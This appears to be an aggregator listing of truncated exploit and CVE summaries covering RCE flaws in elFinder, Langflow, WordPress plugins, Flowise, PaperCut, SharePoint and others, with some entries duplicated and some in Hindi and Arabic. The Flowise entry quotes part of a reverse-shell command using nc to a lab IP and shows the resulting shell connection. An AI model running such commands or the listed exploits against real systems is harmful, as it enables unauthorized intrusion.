elFinder: ZIP extraction bypasses uploadDeny MIME filter allowing PHP file upload (RCE)

Summary elFinder provides uploadDeny and uploadAllow options in its connector configuration to restrict which MIME types may be uploaded. When uploadDeny includes text/x-php, direct upload of .php, .phtml, and .phar files is correctly blocked. However, the extract command ZIP decompression...

CVE-2026-76595

A flaw was found in advisor-backend. Multiple code paths within the application deserialize YAML YAML Ain't Markup Language with an unsafe full Loader, which can instantiate arbitrary Python objects via YAML tags. An unauthenticated remote attacker can exploit this by submitting specially crafted...

CVE-2026-0770

CVE-2026-0770: Langflow execglobals Unauthenticated Remote Code Execution PoC CVE-2026-0770 an unauthenticated Remote Code Execution RCE vulnerability affecting Langflow. The flaw stems from improper input validation within the handling of the execglobals parameter provided to the /validate...

-Limesurvey-RCE-CVE-2021-44967

🚀 LimeSurvey RCE CVE-2021-44967 - प्रमाणित दूरस्थ कोड निष्पादन इस रिपॉजिटरी में LimeSurvey में CVE-2021-44967 के लिए एक कार्यात्मक शोषण शामिल है, जो एक प्रमाणित दूरस्थ कोड निष्पादन भेद्यता है। 🎯 अनुकूलता परीक्षणित और कार्यशील पुष्टि: LimeSurvey 5.2.x LimeSurvey 6.x 🐛 भेद्यता अवलोकन यह भेद्यता...

CVE-2026-77009 WatchMan-Site7 3.1.1 - 4.2.0 - Subscriber+ RCE via Debug Console

The WatchMan-Site7 WordPress plugin through 4.2.0 does not restrict access to its debugging console, which executes user-supplied PHP code, allowing any authenticated user, such as a subscriber, to run arbitrary code on the server...

CVE-2026-77009 WatchMan-Site7 3.1.1 - 4.2.0 - Subscriber+ RCE via Debug Console

The WatchMan-Site7 WordPress plugin through 4.2.0 does not restrict access to its debugging console, which executes user-supplied PHP code, allowing any authenticated user, such as a subscriber, to run arbitrary code on the server...

CVE-2026-77009

CVE-2026-77009 affects the WatchMan-Site7 WordPress plugin through version 4.2.0 . The plugin fails to restrict access to its debugging console , which executes user-supplied PHP code . Any authenticated user with a low privilege level (e.g., a subscriber ) can leverage this to achieve remote cod...

EUVD-2026-70033

The Yoast SEO Premium WordPress plugin before 27.6.1 does not sanitize control characters from redirect origins before writing them to the site's Apache configuration file when the file-based redirect mode is enabled, and the redirect-creation endpoint is reachable by users with only Author-level...

CVE-2026-10821 Yoast SEO Premium < 27.6.1 - Author+ Arbitrary .htaccess Directive Injection to RCE

The Yoast SEO Premium WordPress plugin before 27.6.1 does not sanitize control characters from redirect origins before writing them to the site's Apache configuration file when the file-based redirect mode is enabled, and the redirect-creation endpoint is reachable by users with only Author-level...

CVE-2026-10821

Yoast SEO Premium WordPress plugin before 27.6.1 fails to sanitize control characters from redirect origins before writing them to the site's Apache .htaccess file when file-based redirect mode is enabled. Because the redirect-creation endpoint is accessible to users with Author-level access, an ...

CVE-2026-10821 Yoast SEO Premium < 27.6.1 - Author+ Arbitrary .htaccess Directive Injection to RCE

The Yoast SEO Premium WordPress plugin before 27.6.1 does not sanitize control characters from redirect origins before writing them to the site's Apache configuration file when the file-based redirect mode is enabled, and the redirect-creation endpoint is reachable by users with only Author-level...

CVE-2025-24893

Infos This PoC first tests for the SSTI and if it works. It will go in loop and allows you to run commands remotly. The exec and shell command do the same currently. Usage Connecting root@kitploit: python3 poc.py Example With debug set to False default root@kitploit: python3 poc.py...

CVE-2026-20841

لم يتم التحقق من دقة طريقة تشغيل هذا الـ PoC، ويجب اعتبارها معلوماتية/مرجعية فقط. CVE-2026-20841 - ثغرة تنفيذ التعليمات البرمجية عن بُعد RCE في notepad.exe بنظام Windows شرط الاستغلال: تم الاختبار على: إصدار Notepad 11.2510.14.0 الخطوة 1: حفظ الملف الخطوة 2: فتح الملف ملاحظة: يطلب البرنامج تأكيد...

CVE-2026-39987-Lab

CVE-2026-39987 — marimo Pre-Auth Terminal WebSocket RCE Lab Local-only Docker lab for reproducing and understanding CVE-2026-39987 in marimo. This project compares a vulnerable marimo service with a patched marimo service side-by-side, then demonstrates the difference using a least-harm proof...

WhatsRCE

WhatsRCE This is a Automated Generate Payload for CVE-2019-11932 WhatsApp Remote Code Execution 1. Auto install GCC no harm command, you can see this is open-source 2. Saving to .GIF file How To Use ? root@kitploit: sudo apt install git git clone https://github.com/KeepWannabe/WhatsRCE cd WhatsRC...

CVE-2026-39387

CVE-2026-39387 — BoidCMS Authenticated File Upload to RCE via Template Injection Description BoidCMS = 2.1.2 allows an authenticated attacker to achieve Remote Code Execution RCE by combining two weaknesses: 1. Unrestricted file upload — the media upload endpoint accepts files with image MIME typ...

Magneto-PolyShell

Magento 2 RCE Exploit - Unauthenticated File Upload to RCE ⚠️ This tool is for educational and authorized security testing only. Unauthorized use against systems you do not own is illegal. This exploit targets a critical unauthenticated remote code execution RCE vulnerability in Magento 2 Adobe...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE Authenticated RCE PoC for Flowise version &1|nc 10.10.15.200 443 /tmp/f' Check the listener and it should work: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off...

PaperCut-Authentication_Bypass_and_RCE

CVE-2023-27350 — PaperCut NG/MF प्रमाणीकरण बाइपास और RCE PaperCut NG/MF में क्रिटिकल प्रमाणीकरण बाइपास और रिमोट कोड एक्सीक्यूशन भेद्यता के लिए स्टैंडअलोन Python एक्सप्लॉइट। CVSS 9.8। विवरण CVE-2023-27350, PaperCut NG और MF के 20.1.7, 21.2.11, और 22.0.9 से पहले के संस्करणों को प्रभावित करता है। यह...

CVE-2026-63520

CVE-2026-63520 Sharepoint unsafe type RCE + CVE-2026-55040 chain Unauthenticated RCE on Microsoft SharePoint Server. No credentials needed. Stephen Fewer Rapid7 demonstrated CVE-2026-55040 at Pwn2Own Berlin 2026. Rapid7 then discovered CVE-2026-63520 during follow-up research, and VulnCheck...